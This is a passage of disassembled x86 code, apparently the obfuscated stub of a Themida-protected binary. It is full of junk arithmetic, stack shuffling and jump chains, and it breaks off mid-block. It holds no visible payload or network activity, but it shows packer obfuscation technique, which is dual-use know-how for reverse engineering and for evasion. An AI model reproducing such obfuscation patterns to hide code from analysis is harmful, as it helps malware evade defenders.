loc_56CAD4: ; CODE XREF: sub_562ABA+B7DFj
neg dl
xor dl, 83h
mov ch, dl
pop edx
xor dl, ch
jmp loc_56A21B
; ---------------------------------------------------------------------------
loc_56CAE3: ; CODE XREF: sub_562ABA+285Ej
pop eax
sub ebx, 264821D0h
add ebx, esi
jmp loc_567F09
; ---------------------------------------------------------------------------
loc_56CAF1: ; CODE XREF: sub_562ABA+D78Ej
push edi
push edx
mov edx, 629B7BEAh
mov edi, edx
jmp loc_56D624
; ---------------------------------------------------------------------------
loc_56CAFF: ; CODE XREF: sub_562ABA-3495j
xor cl, 0B0h
jmp loc_55E25E
; ---------------------------------------------------------------------------
loc_56CB07: ; CODE XREF: sub_562ABA+6E9Cj
mov [esp+0], ecx
mov ecx, 238520D3h
inc ecx
jmp loc_55FCE5
; ---------------------------------------------------------------------------
loc_56CB15: ; CODE XREF: sub_562ABA+8095j
add ebx, 4
xchg ebx, [esp+22h+var_22]
pop esp
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56CB24: ; CODE XREF: sub_562ABA+1CE8j
add edi, 5BACAD68h
add edx, 5F4E67E9h
jmp loc_56321C
; ---------------------------------------------------------------------------
loc_56CB35: ; CODE XREF: sub_562ABA+C8EDj
add esp, 4
push esi
mov esi, edi
mov ebx, esi
pop esi
push [esp+6+var_8+2]
pop edi
add esp, 4
push 4637h
mov [esp+6+var_8+2], ebx
mov edi, [esp+6+var_8+2]
add esp, 4
push [esp+2+var_4+2]
pop ebx
jmp loc_560CC1
; ---------------------------------------------------------------------------
loc_56CB5C: ; CODE XREF: sub_562ABA+117Bj
mov esp, [esp+2Ah+var_2C+2]
push eax
mov ah, 0B0h
jmp loc_5679D3
; ---------------------------------------------------------------------------
loc_56CB67: ; CODE XREF: sub_562ABA+E2BEj
add ch, 1
neg ch
push ebx
push eax
mov al, 58h
mov bh, 7Fh
add bh, al
pop eax
shr bh, 2
neg bh
jmp loc_569DB8
; ---------------------------------------------------------------------------
loc_56CB7F: ; CODE XREF: sub_562ABA+8185j
not esi
jmp loc_5660D5
; ---------------------------------------------------------------------------
loc_56CB86: ; CODE XREF: Themida_:00560D58j
mov [esp+2Ah+var_2C+2], edx
push esp
jmp loc_56E2E8
; ---------------------------------------------------------------------------
loc_56CB8F: ; CODE XREF: sub_562ABA+82A2j
sub ebx, 574D0827h
xor ebx, 432E380Bh
xor ebx, 0DC8CEF5Bh
jmp loc_570CE0
; ---------------------------------------------------------------------------
loc_56CBA6: ; CODE XREF: sub_562ABA+7C9Bj
pop esp
mov [edi+eax*4+1], bl
push [esp-6+arg_0+2]
push dword ptr [esp+0]
jmp loc_57257D
; ---------------------------------------------------------------------------
loc_56CBB6: ; CODE XREF: sub_562ABA+3C89j
not edi
xor edi, 1CCC3B60h
push ecx
mov ecx, 77C9509Ah
sub ecx, 1FF91A81h
jmp loc_55E0FC
; ---------------------------------------------------------------------------
loc_56CBCF: ; CODE XREF: sub_562ABA+2ACDj
not ecx
jmp loc_570E5F
; ---------------------------------------------------------------------------
loc_56CBD6: ; CODE XREF: sub_562ABA+721Aj
pop ebx
add esp, 4
push edi
sub esp, 4
push 0A11h
mov [esp+32h+var_32], esp
add [esp+32h+var_32], 4
pop [esp+32h+var_32]
add dword ptr [esp+0], 4
pop edi
jmp loc_56A208
; ---------------------------------------------------------------------------
loc_56CBFA: ; CODE XREF: sub_562ABA+203Ej
sub esi, 6370493Bh
sub esi, edi
push edx
mov edx, 6370493Bh
jmp loc_562BED
; ---------------------------------------------------------------------------
loc_56CC0D: ; CODE XREF: sub_562ABA-201Fj
push ebx
mov ebx, 2
add ecx, ebx
push [esp+1Ah+var_1A]
mov ebx, [esp+1Eh+var_1E]
add esp, 4
add esp, 4
jmp loc_566184
; ---------------------------------------------------------------------------
loc_56CC2C: ; CODE XREF: sub_562ABA-798j
add eax, ebx
pop ebx
jmp sub_55FA0F
; ---------------------------------------------------------------------------
loc_56CC34: ; CODE XREF: sub_562ABA+18B2j
mov ebp, 6F4A2271h
not ebp
xor ebp, 20127876h
jmp loc_56CF22
; ---------------------------------------------------------------------------
loc_56CC46: ; CODE XREF: sub_562ABA+1924j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56CC4B: ; CODE XREF: sub_562ABA+9B32j
add esi, edx
jmp loc_567DD2
; ---------------------------------------------------------------------------
loc_56CC52: ; CODE XREF: sub_562ABA-1D2Bj
push edx
mov edx, 1E171947h
or ebp, edx
pop edx
jmp loc_56AE40
; ---------------------------------------------------------------------------
loc_56CC60: ; CODE XREF: sub_562ABA+7B3Aj
xor edx, ebx
inc ebx
jmp loc_56A443
; ---------------------------------------------------------------------------
loc_56CC68: ; CODE XREF: sub_562ABA+E678j
push esp
pop eax
add eax, 4
sub eax, 2
push eax
push [esp+2Eh+var_2C+2]
jmp loc_564F45
; ---------------------------------------------------------------------------
loc_56CC7C: ; CODE XREF: sub_562ABA+5CD5j
xchg edi, [esp+0]
mov esp, [esp+0]
jmp loc_564653
; ---------------------------------------------------------------------------
loc_56CC87: ; CODE XREF: sub_562ABA-48A7j
xchg ebx, ecx
not ebx
xchg ebx, ecx
inc ecx
or ecx, 7CC522FBh
add ecx, 70302D52h
jmp loc_56E998
; ---------------------------------------------------------------------------
loc_56CC9F: ; CODE XREF: sub_562ABA+E03Bj
push ebp
push ebx
jmp loc_55F44D
; ---------------------------------------------------------------------------
loc_56CCA6: ; CODE XREF: sub_562ABA+374Aj
mov edx, 70B64B9h
sub edx, ebp
pop ebp
sub ebp, 10813E0Ah
add ebp, edx
add ebp, 10813E0Ah
pop edx
push 433h
jmp loc_56AA67
; ---------------------------------------------------------------------------
loc_56CCC7: ; CODE XREF: sub_562ABA+8216j
mov esp, [esp+2+var_4+2]
mov [esp+2+var_4+2], esi
jmp loc_563FE0
; ---------------------------------------------------------------------------
loc_56CCD2: ; CODE XREF: sub_562ABA+9512j
pop eax
mov edx, [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
push [esp+4+var_4]
pop esi
add esp, 4
jmp loc_55F042
; ---------------------------------------------------------------------------
loc_56CCF5: ; CODE XREF: sub_562ABA+85D3j
xor eax, [esp+1Ah+var_1A]
pop esp
mov [esp+16h+var_16], ebp
jmp loc_562B00
; ---------------------------------------------------------------------------
loc_56CD01: ; CODE XREF: sub_562ABA+9476j
mov ebx, esp
push ecx
mov ecx, 4
add ebx, ecx
jmp loc_56FFF4
; ---------------------------------------------------------------------------
loc_56CD10: ; CODE XREF: sub_562ABA+FED9j
xor ch, 0EBh
sub ah, ch
pop ecx
shr ah, 1
jmp loc_56206A
; ---------------------------------------------------------------------------
loc_56CD1D: ; CODE XREF: sub_562ABA-491Ej
push 6BBEh
mov [esp+0Ah+var_C+2], edx
push eax
mov eax, 24562542h
jmp loc_55F8A7
; ---------------------------------------------------------------------------
loc_56CD30: ; CODE XREF: sub_562ABA+6335j
pop edx
add edx, 8B09B4h
mov esi, [esp+16h+var_16]
add esp, 4
loc_56CD3D: ; CODE XREF: sub_562ABA+795Bj
; sub_562ABA+CFC1j
push dword ptr [edi+24h]
push [esp+16h+var_16]
push [esp+1Ah+var_1A]
pop ecx
push edi
jmp loc_56C3E6
; ---------------------------------------------------------------------------
loc_56CD4D: ; CODE XREF: sub_562ABA+F78Dj
add ebx, 0B3B97CF8h
sub edi, ebx
pop ebx
jmp loc_564984
; ---------------------------------------------------------------------------
loc_56CD5B: ; CODE XREF: sub_55FCA5+23Aj
add edi, esi
jmp loc_56178C
; ---------------------------------------------------------------------------
loc_56CD62: ; CODE XREF: sub_562ABA+FDD0j
mov [esp+1Ah+var_1A], esi
push ebp
mov ebp, 247D7483h
neg ebp
inc ebp
sub esp, 4
jmp loc_566160
; ---------------------------------------------------------------------------
loc_56CD76: ; CODE XREF: sub_562ABA+2E12j
xor edi, 0A318EFB3h
add ecx, edi
pop edi
push eax
jmp loc_570C53
; ---------------------------------------------------------------------------
loc_56CD85: ; CODE XREF: sub_562ABA+CD37j
pop ebx
xor ebx, 0E00CFh
push edi
jmp loc_56C4EC
; ---------------------------------------------------------------------------
loc_56CD92: ; CODE XREF: sub_562ABA+FCF6j
mov ebp, [esp+32h+var_32]
add esp, 4
add esp, 4
add esp, 4
push 5606h
mov [esp+2Ah+var_2C+2], ebx
push esp
mov ebx, [esp+0]
jmp loc_56E735
; ---------------------------------------------------------------------------
loc_56CDB2: ; CODE XREF: sub_562ABA+66Dj
pop ebx
add ebx, 4
jmp loc_56D502
; ---------------------------------------------------------------------------
loc_56CDBE: ; CODE XREF: sub_562ABA-3448j
mov [esp+1Ah+var_1A], eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56CDC6: ; CODE XREF: sub_562ABA+DA6Fj
mov edx, [esp+1Ah+var_1A]
jmp loc_56E8C8
; ---------------------------------------------------------------------------
loc_56CDCE: ; CODE XREF: sub_562ABA+38B7j
add edi, 4
push 2325h
mov [esp+4Ah+var_4A], eax
sub esp, 4
mov [esp+4Eh+var_4E], esi
push 45845710h
pop esi
xor esi, 7C56658Eh
push eax
mov eax, 0D1372A73h
sub esp, 4
mov [esp+56h+var_56], ebp
jmp loc_5652B3
; ---------------------------------------------------------------------------
loc_56CE02: ; CODE XREF: sub_562ABA+F175j
mov edi, 4D044A3Dh
add ecx, edi
jmp loc_566143
; ---------------------------------------------------------------------------
loc_56CE0E: ; CODE XREF: sub_562ABA+85E8j
mov ecx, 4
add esi, ecx
pop ecx
add esi, 4
xchg esi, [esp+36h+var_36]
pop esp
jmp loc_55EE62
; ---------------------------------------------------------------------------
loc_56CE25: ; CODE XREF: sub_562ABA+7EA1j
push edx
mov edx, 0FD539850h
sub ebx, 87E691Fh
add ebx, edx
push eax
mov eax, 749D6CBBh
add eax, 93E0FC64h
add ebx, eax
pop eax
pop edx
xor eax, ebx
pop ebx
push esi
mov esi, 1BB61601h
xor esi, 0E8B0523h
push edx
mov edx, 15BA2095h
xor esi, edx
mov edx, [esp+0]
push ebx
jmp loc_5697D3
; ---------------------------------------------------------------------------
loc_56CE62: ; CODE XREF: sub_562ABA+259Bj
mov dl, 23h
jmp loc_56C1D7
; ---------------------------------------------------------------------------
loc_56CE69: ; CODE XREF: sub_562ABA+4B8Bj
mov cl, 90h
add bl, cl
pop ecx
jmp loc_56C520
; ---------------------------------------------------------------------------
loc_56CE73: ; CODE XREF: sub_562ABA+F99Bj
xor eax, 1D8A43CEh
xor eax, 0B9B53BFh
xor eax, 0BD66E298h
sub ebp, eax
pop eax
pop ebx
add ecx, 67628C1h
add ecx, 7FAD743Dh
sub ecx, ebp
push eax
push ebp
mov ebp, 698146F8h
mov eax, 162C32C5h
xor eax, ebp
pop ebp
sub ecx, eax
pop eax
jmp loc_56D84F
; ---------------------------------------------------------------------------
loc_56CEAB: ; CODE XREF: sub_562ABA+EA5Ej
push esi
mov esi, 22AF29B4h
add eax, esi
mov esi, [esp+46h+var_46]
add esp, 4
xor eax, 936A7B41h
push eax
mov esi, [esp+46h+var_46]
add esp, 4
pop eax
push 16B9h
mov [esp+42h+var_42], ebp
jmp loc_571066
; ---------------------------------------------------------------------------
loc_56CED9: ; CODE XREF: sub_562ABA+E96Fj
sub esp, 4
mov [esp+46h+var_46], eax
push ecx
mov cl, 3Eh
mov ah, 4Ch
sub ah, cl
mov ecx, [esp+4Ah+var_4A]
add esp, 4
not ah
neg ah
not ah
push ebx
mov bl, 5Ah
xor bl, 0B3h
sub ah, bl
pop ebx
sub bh, ah
pop eax
sub cl, bh
pop ebx
sub al, 2Fh
add al, cl
add al, 2Fh
mov ecx, [esp+3Eh+var_3E]
add esp, 4
add al, 8Eh
add al, bl
push edx
mov dh, 0A1h
shr dh, 8
xor dh, 7Ah
jmp loc_5616F7
; ---------------------------------------------------------------------------
loc_56CF22: ; CODE XREF: sub_562ABA+A187j
push ebx
mov ebx, 39C9740Ch
shl ebx, 6
jmp loc_55EAC2
; ---------------------------------------------------------------------------
loc_56CF30: ; CODE XREF: sub_562ABA+98DCj
add ebx, eax
jmp loc_55F294
; ---------------------------------------------------------------------------
loc_56CF37: ; CODE XREF: sub_562ABA+8FC5j
pop edx
push edi
push 7B0h
jmp loc_56A651
; ---------------------------------------------------------------------------
loc_56CF43: ; CODE XREF: sub_562ABA+C866j
sub eax, ecx
pop ecx
jmp loc_56C850
; ---------------------------------------------------------------------------
loc_56CF4B: ; CODE XREF: sub_562ABA+AF7Cj
sub ecx, ebx
pop ebx
sub eax, 630A30F4h
add eax, ecx
push edx
mov edx, 630A30F4h
add eax, edx
pop edx
pop ecx
push eax
jmp loc_563CAA
; ---------------------------------------------------------------------------
loc_56CF65: ; CODE XREF: sub_562ABA+49E5j
mov edi, esp
push eax
mov eax, 699B4CEEh
inc eax
shl eax, 1
not eax
xor eax, 2CC96625h
jmp loc_56DF51
; ---------------------------------------------------------------------------
loc_56CF7C: ; CODE XREF: sub_562ABA-452Ej
pop esp
jmp loc_570980
; ---------------------------------------------------------------------------
loc_56CF82: ; CODE XREF: sub_562ABA+E7E1j
mov ebx, 4
sub esi, ebx
pop ebx
xchg esi, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
mov [esp+32h+var_32], eax
push edx
mov dl, bl
mov al, dl
jmp loc_562DCA
; ---------------------------------------------------------------------------
loc_56CF9D: ; CODE XREF: sub_562ABA+1294j
mov edx, 4
add edi, edx
pop edx
xchg edi, [esp+22h+var_22]
pop esp
div ecx
jmp loc_564548
; ---------------------------------------------------------------------------
loc_56CFB0: ; CODE XREF: sub_562ABA-1085j
mov ebx, 1Ch
add ebx, 5A461914h
add ebx, edi
sub ebx, 5A461914h
mov eax, [ebx]
mov ebx, [esp-0Eh+arg_8+2]
push 7F81h
mov [esp-0Ah+arg_4+2], ebx
mov ebx, esp
jmp loc_563416
; ---------------------------------------------------------------------------
loc_56CFD7: ; CODE XREF: sub_562ABA+E6FEj
add ebp, eax
jmp loc_56D7B5
; ---------------------------------------------------------------------------
loc_56CFDE: ; CODE XREF: sub_562ABA+39FCj
sub esp, 4
jmp loc_57205F
; ---------------------------------------------------------------------------
loc_56CFE9: ; CODE XREF: sub_562ABA+826Dj
sub esi, 0A03D8928h
jmp loc_56AADD
; ---------------------------------------------------------------------------
loc_56CFF4: ; CODE XREF: sub_562ABA+9CAAj
mov al, 47h
and al, 8Eh
sub al, 52h
push edx
mov dh, 0B8h
neg dh
add dh, 1Bh
or al, dh
pop edx
jmp loc_56B550
; ---------------------------------------------------------------------------
loc_56D00A: ; CODE XREF: sub_562ABA+C3B6j
sub ebp, 4
xchg ebp, [esp+30h+var_32+2]
pop esp
mov [esp+2Ch+var_2C], ecx
mov ecx, 7D516B02h
sub esp, 4
mov [esp+30h+var_32+2], ecx
jmp loc_56FB8B
; ---------------------------------------------------------------------------
loc_56D024: ; CODE XREF: sub_562ABA+1007j
pop eax
xor ecx, 5B15B2C2h
jmp loc_565C36
; ---------------------------------------------------------------------------
loc_56D030: ; CODE XREF: sub_562ABA+20F9j
push 3BBFh
mov [esp+12h+var_12], esp
add [esp+12h+var_12], 4
pop [esp+12h+var_12]
push esi
mov esi, 4
jmp loc_568C41
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 0E1895124h, 4C181h, 0E9810000h, 4, 0FFEBABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56D065: ; CODE XREF: sub_562ABA-397Cj
add ecx, 5A0D2E5Ch
add ebx, ecx
pop ecx
push edi
mov edi, 653A76B7h
inc edi
shl edi, 2
add edi, 0A88E85B1h
sub ebx, edi
mov edi, [esp+3Eh+var_3E]
add esp, 4
jmp loc_568E44
; ---------------------------------------------------------------------------
loc_56D08E: ; CODE XREF: sub_562ABA+D9F0j
mov ebx, esp
push eax
mov eax, 4
add ebx, 0C345278h
add ebx, eax
sub ebx, 0C345278h
jmp loc_561249
; ---------------------------------------------------------------------------
loc_56D0A9: ; CODE XREF: sub_562ABA+3EE4j
mov ebx, [esp+2+var_4+2]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+6+var_8+2]
jmp loc_560521
; ---------------------------------------------------------------------------
loc_56D0C3: ; CODE XREF: sub_562ABA+1B68j
push edx
mov edx, 19921D73h
and edi, edx
pop edx
jmp loc_563B24
; ---------------------------------------------------------------------------
loc_56D0D1: ; CODE XREF: sub_562ABA+AF70j
push edi
jmp loc_55FEE4
; ---------------------------------------------------------------------------
loc_56D0D7: ; CODE XREF: sub_562ABA-3282j
pop edx
add edx, 6AFC08E2h
jmp loc_56470C
; ---------------------------------------------------------------------------
loc_56D0E3: ; CODE XREF: sub_562ABA+6401j
mov [esp+0], ecx
mov ecx, esp
jmp loc_565700
; ---------------------------------------------------------------------------
loc_56D0ED: ; CODE XREF: sub_562ABA+3DA9j
pop ecx
mov edx, [esp+4+var_4]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
jmp loc_570C5D
; ---------------------------------------------------------------------------
mov eax, [esp+4+var_4]
push 21A5h
mov [esp+8+var_8], edx
jmp loc_56D4DF
; ---------------------------------------------------------------------------
loc_56D116: ; CODE XREF: sub_562ABA+8F38j
mov edx, esi
pop esi
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp+22h+var_22]
pop esp
jmp loc_572828
; ---------------------------------------------------------------------------
loc_56D12E: ; CODE XREF: sub_562ABA+3164j
mov edx, 4B5211A0h
mov ecx, 988746D1h
add ecx, 505041B8h
sub ecx, edx
sub ecx, 505041B8h
mov edx, [esp+0]
add esp, 4
sub eax, ecx
pop ecx
push edi
mov edi, 3D915581h
sub eax, edi
pop edi
sub eax, 20E504EFh
add eax, edx
add eax, 20E504EFh
add eax, 3D915581h
jmp loc_570207
; ---------------------------------------------------------------------------
loc_56D171: ; CODE XREF: sub_562ABA+FAD2j
sub edi, 37AA780Ch
push ebx
jmp loc_56A3A4
; ---------------------------------------------------------------------------
loc_56D17D: ; CODE XREF: sub_55FCA5+38Cj
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+0]
pop esp
mov [esp+2Ah+var_2C+2], ecx
mov ecx, 52657975h
sub ecx, 1
inc ecx
shl ecx, 1
shl ecx, 5
or ecx, 4EF358FFh
sub ecx, 0DFFF5DFBh
add edx, ecx
push [esp+2Ah+var_2C+2]
pop ecx
add esp, 4
push 7769h
jmp loc_56DF90
; ---------------------------------------------------------------------------
loc_56D1C3: ; CODE XREF: sub_562ABA+9643j
add esp, 4
add esp, 4
push 57Ah
mov [esp+2Ah+var_2C+2], ebx
push edx
mov edx, 3DF849CEh
mov ebx, 0C207B656h
add ebx, 56F77639h
jmp loc_56B3F6
; ---------------------------------------------------------------------------
loc_56D1E7: ; CODE XREF: sub_562ABA+9FFEj
add eax, 4
jmp sub_5620A9
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+16h+var_16]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], ebp
xor ebp, [esp+1Ah+var_1A]
jmp loc_5712CA
; ---------------------------------------------------------------------------
loc_56D20F: ; CODE XREF: sub_562ABA+1B84j
xor ebp, 11C9755Ch
xor esi, ebp
pop ebp
and ebp, esi
jmp loc_562D2C
; ---------------------------------------------------------------------------
loc_56D21F: ; CODE XREF: sub_562ABA+CBD6j
push ebx
mov ebx, 33BA773Fh
xor ecx, ebx
pop ebx
xor ebx, ecx
mov ecx, [esp+3Ah+var_3A]
jmp loc_572982
; ---------------------------------------------------------------------------
loc_56D232: ; CODE XREF: sub_562ABA+45B6j
push esi
push edi
jmp loc_562084
; ---------------------------------------------------------------------------
loc_56D239: ; CODE XREF: sub_5602C2+18j
xor ecx, 0B9D51900h
mov esi, ecx
push [esp+42h+var_42]
pop ecx
add esp, 4
jmp loc_56AC8D
; ---------------------------------------------------------------------------
loc_56D250: ; CODE XREF: sub_562ABA+7567j
xor cl, al
pop eax
push ecx
mov ch, 1Dh
xor ch, 5Eh
jmp loc_5643EB
; ---------------------------------------------------------------------------
loc_56D25E: ; DATA XREF: Themida_:0055DFB4o
mov ax, word ptr [esp-0Ah+arg_4+2]
push ebp
push eax
push 1E72h
mov [esp+2+var_4+2], esp
add [esp+2+var_4+2], 4
mov eax, [esp+2+var_4+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+6+var_8+2]
pop esp
add eax, 4
jmp loc_55F579
; ---------------------------------------------------------------------------
loc_56D293: ; CODE XREF: sub_562ABA+282Aj
sub esi, 50F539E4h
add edx, 22353083h
add edx, esi
sub edx, 22353083h
pop esi
add edx, 4
xchg edx, [esp+2Ah+var_2C+2]
pop esp
add ebp, ecx
mov ecx, [esp+26h+var_28+2]
add esp, 4
push ebp
push [esp+26h+var_22]
pop ebp
pop [esp+26h+var_28+2]
pop esp
shl [esp+1Eh+var_1E], cl
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56D2CC: ; CODE XREF: sub_562ABA+332j
add ebx, ecx
push [esp+3Eh+var_3E]
jmp loc_5621DF
; ---------------------------------------------------------------------------
loc_56D2D6: ; CODE XREF: sub_562ABA+6737j
push ax
mov ah, 4
mov bl, ah
jmp loc_5659C3
; ---------------------------------------------------------------------------
loc_56D2E1: ; CODE XREF: sub_562ABA+EC31j
push [esp+36h+var_36]
pop edx
add esp, 4
xchg ebp, [esp+32h+var_32]
jmp loc_56116F
; ---------------------------------------------------------------------------
loc_56D2F3: ; CODE XREF: sub_562ABA+9532j
add esp, 4
sub eax, 4
push 7590h
mov [esp+22h+var_22], eax
push [esp+22h+var_1E]
mov eax, [esp+26h+var_28+2]
push edi
mov edi, esp
push esi
mov esi, 4
jmp loc_55FAA9
; ---------------------------------------------------------------------------
loc_56D319: ; CODE XREF: sub_562ABA-D43j
pop ebx
push eax
mov eax, 66736715h
xor ebx, eax
mov eax, [esp+3Eh+var_3E]
jmp loc_567846
; ---------------------------------------------------------------------------
loc_56D32A: ; CODE XREF: sub_562ABA-8E0j
xor ecx, [esp+18h+var_1A+2]
xor [esp+18h+var_1A+2], ecx
xor ecx, [esp+18h+var_1A+2]
jmp loc_55F3A1
; ---------------------------------------------------------------------------
loc_56D338: ; CODE XREF: sub_562ABA+CBE5j
not esi
sub esi, 93F1B8F2h
mov eax, esi
pop esi
shr eax, 2
shl eax, 2
inc eax
xor eax, 2794309Fh
dec eax
jmp sub_571CD8
; ---------------------------------------------------------------------------
loc_56D355: ; CODE XREF: sub_562ABA+FB19j
add ebp, eax
jmp loc_570D25
; ---------------------------------------------------------------------------
loc_56D35C: ; CODE XREF: sub_562ABA-147Ej
xor ebx, 695AB2C7h
sub esi, ebx
jmp loc_560015
; ---------------------------------------------------------------------------
loc_56D369: ; CODE XREF: sub_562ABA+60F2j
add edi, 27134106h
pop edx
jmp loc_572321
; ---------------------------------------------------------------------------
loc_56D375: ; CODE XREF: sub_55FCA5+164j
mov [esp+36h+var_36], ebp
mov ebp, 710871FBh
add ebp, 2EB029B1h
not ebp
not ebp
xchg edi, ebp
not edi
xchg edi, ebp
push 0DE6h
mov [esp+3Ah+var_3A], ecx
jmp loc_55FDE5
; ---------------------------------------------------------------------------
loc_56D39A: ; CODE XREF: sub_562ABA+B578j
push eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56D3A1: ; CODE XREF: sub_562ABA+678Aj
pop esp
jmp loc_56D70F
; ---------------------------------------------------------------------------
loc_56D3A7: ; CODE XREF: sub_562ABA+A00Fj
add edx, 4
push ecx
mov ecx, 1DA614D0h
shr ecx, 6
shl ecx, 6
shr ecx, 3
dec ecx
jmp loc_570AA7
; ---------------------------------------------------------------------------
neg byte ptr [esp+1Ah+var_1A]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56D3CB: ; CODE XREF: sub_55FCA5+12Cj
pop edx
mov eax, [esp+1Ah+var_1A]
push ebx
push esp
pop ebx
jmp loc_568AC1
; ---------------------------------------------------------------------------
loc_56D3D7: ; CODE XREF: sub_562ABA+3E78j
xor eax, [esp+16h+var_16]
xor [esp+16h+var_16], eax
xor eax, [esp+16h+var_16]
jmp loc_564E77
; ---------------------------------------------------------------------------
loc_56D3E5: ; CODE XREF: sub_562ABA+AB7Fj
mov [esp+16h+var_16], edx
push esp
mov edx, [esp+1Ah+var_1A]
push edi
mov edi, esp
jmp loc_56F3C0
; ---------------------------------------------------------------------------
loc_56D3F4: ; CODE XREF: sub_562ABA-3CF2j
mov [esp+16h+var_16], ecx
sub esp, 4
mov [esp+1Ah+var_1A], ebx
mov ecx, [esp+1Ah+var_1A]
add esp, 4
mov edx, ecx
mov ecx, [esp+16h+var_16]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+1Ah+var_1A]
pop esp
push edx
jmp loc_56BA07
; ---------------------------------------------------------------------------
loc_56D421: ; CODE XREF: sub_562ABA+383Cj
mov ecx, [esp+20h+var_22+2]
add esp, 4
sub al, bh
sub al, 0BFh
pop ebx
push edx
push ebx
mov bh, al
mov dl, bh
mov ebx, [esp+20h+var_22+2]
add esp, 4
push eax
mov al, dl
mov cl, al
pop eax
pop edx
pop eax
sub al, cl
pop cx
push small 7FE5h
mov word ptr [esp+14h+var_16+2], dx
jmp loc_56D768
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+14h+var_16+2]
sub esp, 4
mov [esp+18h+var_1A+2], ebx
push esp
mov ebx, [esp+1Ch+var_1E+2]
add esp, 4
sub esp, 4
mov [esp+1Ch+var_1E+2], ecx
jmp loc_56783C
; ---------------------------------------------------------------------------
loc_56D46D: ; CODE XREF: sub_562ABA+7315j
push esp
mov ebx, [esp+20h+var_22+2]
add esp, 4
push edx
push ecx
mov ecx, 4
mov edx, ecx
jmp loc_56EE45
; ---------------------------------------------------------------------------
loc_56D482: ; CODE XREF: sub_562ABA-A31j
mov esi, 1F333E8Ch
jmp loc_55FC83
; ---------------------------------------------------------------------------
loc_56D48C: ; CODE XREF: sub_562ABA+70FEj
mov word ptr [esp+12h+var_12], dx
push ax
pushf
jmp loc_560FB2
; ---------------------------------------------------------------------------
loc_56D498: ; CODE XREF: sub_562ABA+68j
shr eax, 8
xor eax, 13DACh
jmp loc_565275
; ---------------------------------------------------------------------------
loc_56D4A5: ; CODE XREF: sub_562ABA+AF8j
add edx, edi
sub edx, 61EC771Fh
pop edi
xor edx, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], edx
xor edx, [esp+26h+var_28+2]
pop esp
jmp loc_567FFB
; ---------------------------------------------------------------------------
loc_56D4BD: ; CODE XREF: sub_562ABA+7D30j
push 782Eh
mov [esp+1Ah+var_1A], ebp
push edx
jmp loc_570B39
; ---------------------------------------------------------------------------
loc_56D4CB: ; CODE XREF: sub_562ABA+9F1Fj
xor edi, 2C8F7AE2h
jmp loc_56FBEE
; ---------------------------------------------------------------------------
loc_56D4D6: ; CODE XREF: sub_562ABA+63A8j
push [esp-2+arg_0+2]
jmp loc_57082C
; ---------------------------------------------------------------------------
loc_56D4DF: ; CODE XREF: sub_562ABA+A657j
push esp
pop edx
push esi
push ebx
mov ebx, 35CF3B44h
push 62BDh
mov [esp+14h+var_16+2], ebp
push eax
mov eax, 19956F30h
mov ebp, 91F9D7BAh
sub ebp, eax
jmp loc_5665B1
; ---------------------------------------------------------------------------
loc_56D502: ; CODE XREF: sub_562ABA+A2FFj
add ebx, 4
xchg ebx, [esp+22h+var_22]
mov esp, [esp+22h+var_22]
sub edi, 1
jmp loc_56E69B
; ---------------------------------------------------------------------------
loc_56D516: ; CODE XREF: sub_562ABA+C685j
push esp
pop edi
add edi, 4
push 5FA2h
mov [esp+26h+var_28+2], eax
mov eax, 4F4B1A5Dh
sub eax, 4F4B1A59h
jmp loc_55ED56
; ---------------------------------------------------------------------------
loc_56D535: ; CODE XREF: sub_562ABA+DBF0j
add edx, 76B36C46h
sub edx, 775D0D0Bh
pop ebp
add edx, eax
jmp loc_562C7F
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+22h+var_22]
push ebx
jmp loc_561BD4
; ---------------------------------------------------------------------------
loc_56D553: ; CODE XREF: sub_562ABA+137j
push esi
push [esp+0Eh+var_C+2]
jmp loc_5666E8
; ---------------------------------------------------------------------------
loc_56D55D: ; CODE XREF: sub_562ABA+6C03j
mov [esp+42h+var_42], edx
mov dh, 73h
neg dh
sub dh, 74h
inc dh
or dh, 36h
xor dh, 74h
sub bl, 19h
sub bl, 95h
sub bl, dh
add bl, 95h
add bl, 19h
mov edx, [esp+42h+var_42]
add esp, 4
sub bl, al
push eax
push esp
pop eax
add eax, 4
sub eax, 4
push eax
push [esp+46h+var_42]
mov eax, [esp+4Ah+var_4A]
jmp loc_56996A
; ---------------------------------------------------------------------------
loc_56D5A2: ; CODE XREF: sub_562ABA-3D12j
shr ebp, 2
push esi
mov esi, 639E15D2h
shr esi, 5
jmp loc_56946C
; ---------------------------------------------------------------------------
loc_56D5B3: ; CODE XREF: Themida_:00562065j
push 82D5E9Ah
push [esp+22h+var_22]
pop eax
add esp, 4
push 2CDCh
mov [esp+22h+var_22], edx
mov edx, 46C8186Ah
neg edx
neg edx
inc edx
xor edx, 5C3F4450h
sub eax, 32BA2B7Ah
jmp loc_561928
; ---------------------------------------------------------------------------
loc_56D5E1: ; CODE XREF: sub_562ABA+6165j
or esi, eax
pop eax
xor esi, 405F1DF7h
sub ebx, esi
jmp loc_56138C
; ---------------------------------------------------------------------------
loc_56D5F1: ; CODE XREF: sub_562ABA+8C6Fj
push edi
pop eax
mov edi, [esp+16h+var_16]
add esp, 4
sub eax, 54B80ABDh
shr eax, 4
push edi
push ebp
mov ebp, 45605119h
neg ebp
